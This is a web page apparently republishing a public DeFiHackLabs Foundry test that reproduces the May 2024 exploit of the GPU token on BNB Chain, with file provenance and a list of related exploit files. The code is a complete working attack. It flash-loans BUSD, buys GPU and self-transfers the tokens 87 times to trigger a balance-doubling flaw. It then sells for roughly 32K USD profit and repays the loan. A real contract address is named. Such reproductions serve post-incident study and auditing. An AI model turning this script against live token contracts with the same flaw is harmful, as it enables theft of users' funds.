Public reproduction file

src/test/2024-05/GPU_exp.sol

Public reproduction file for dataset entry GPU.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-05/GPU_exp.sol73 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// Profit : ~32K USD
8// TX : https://app.blocksec.com/explorer/tx/bsc/0x2c0ada695a507d7a03f4f308f545c7db4847b2b2c82de79e702d655d8c95dadb
9// GUY : https://twitter.com/PeckShieldAlert/status/1788153869987611113
10// Vuln Contract: https://bscscan.com/address/0xf51cbf9f8e089ca48e454eb79731037a405972ce
11 
12contract GPUExploit is Test {
13    IERC20 private gpuToken;
14    IERC20 private busd;
15    IUniswapV2Pair private busdWbnbPair;
16    IUniswapV2Router private router;
17 
18    modifier balanceLog() {
19        emit log_named_decimal_uint("Attacker BUSD Balance Before exploit", getBalance(busd), 18);
20        _;
21        emit log_named_decimal_uint("Attacker BUSD Balance After exploit", getBalance(busd), 18);
22    }
23 
24    function setUp() external {
25        vm.createSelectFork("bsc", 38_539_572);
26        gpuToken = IERC20(0xf51CBf9F8E089Ca48e454EB79731037a405972ce);
27        busd = IERC20(0x55d398326f99059fF775485246999027B3197955);
28        busdWbnbPair = IUniswapV2Pair(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);
29        router = IUniswapV2Router(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
30        busd.approve(address(router), type(uint256).max);
31        gpuToken.approve(address(router), type(uint256).max);
32    }
33 
34    function testExploit() public balanceLog {
35        busdWbnbPair.swap(22_600 ether, 0, address(this), "0x42");
36    }
37 
38    function getPath(address token0, address token1) internal pure returns (address[] memory) {
39        address[] memory path = new address[](2);
40        path[0] = token0;
41        path[1] = token1;
42        return path;
43    }
44 
45    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
46        //Buy tokens with flashloaned busd
47        _swap(amount0, busd, gpuToken);
48 
49        //Self transfer tokens to double tokens on each transfer
50        for (uint256 i = 0; i < 87; i++) {
51            gpuToken.transfer(address(this), getBalance(gpuToken));
52        }
53 
54        //Sell all tokens to busd
55        _swap(type(uint112).max, gpuToken, busd);
56 
57        //Payback flashloan
58        uint256 feeAmount = (amount0 * 3) / 1000 + 1;
59        busd.transfer(address(busdWbnbPair), amount0 + feeAmount);
60    }
61 
62    function _swap(uint256 amountIn, IERC20 tokenA, IERC20 tokenB) private {
63        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
64            amountIn, 0, getPath(address(tokenA), address(tokenB)), address(this), block.timestamp
65        );
66    }
67 
68    function getBalance(
69        IERC20 token
70    ) private view returns (uint256) {
71        return token.balanceOf(address(this));
72    }
73}

Analysis

Dataset entry

Public Foundry test for “GPU” (2024-05-08). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

18 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/interface.solImported by this file · 6133 lines
src/test/2024-05/Burner_exp.solSame month in the dataset · 63 lines
src/test/2024-05/EXcommunity_exp.solSame month in the dataset · 139 lines
src/test/2024-05/GFOX_exp.solSame month in the dataset · 69 lines
src/test/2024-05/Liquiditytokens_exp.solSame month in the dataset · 194 lines
src/test/2024-05/MetaDragon_exp.solSame month in the dataset · 49 lines
src/test/2024-05/MixedSwapRouter_exp.solSame month in the dataset · 188 lines
src/test/2024-05/NORMIE_exp.solSame month in the dataset · 138 lines
src/test/2024-05/OSN_exp.solSame month in the dataset · 187 lines
src/test/2024-05/PredyFinance_exp.solSame month in the dataset · 181 lines
src/test/2024-05/RedKeysCoin_exp.solSame month in the dataset · 76 lines
src/test/2024-05/SATURN_exp.solSame month in the dataset · 133 lines
src/test/2024-05/SCROLL_exp.solSame month in the dataset · 68 lines
src/test/2024-05/Sonne_exp.solSame month in the dataset · 185 lines
src/test/2024-05/TCH_exp.solSame month in the dataset · 277 lines
src/test/2024-05/TGC_exp.solSame month in the dataset · 74 lines
src/test/2024-05/Tradeonorion_exp.solSame month in the dataset · 346 lines
src/test/2024-05/TSURU_exp.solSame month in the dataset · 97 lines

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name: GPU
Path: src/test/2024-05/GPU_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 84bd8e28844011e3ac0ce140ea3689257953e9c5
Language: Solidity
Size: 74 lines
Date: 2024-05-08
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2024-05/GPU_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 84bd8e28844011e3ac0ce140ea3689257953e9c5, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.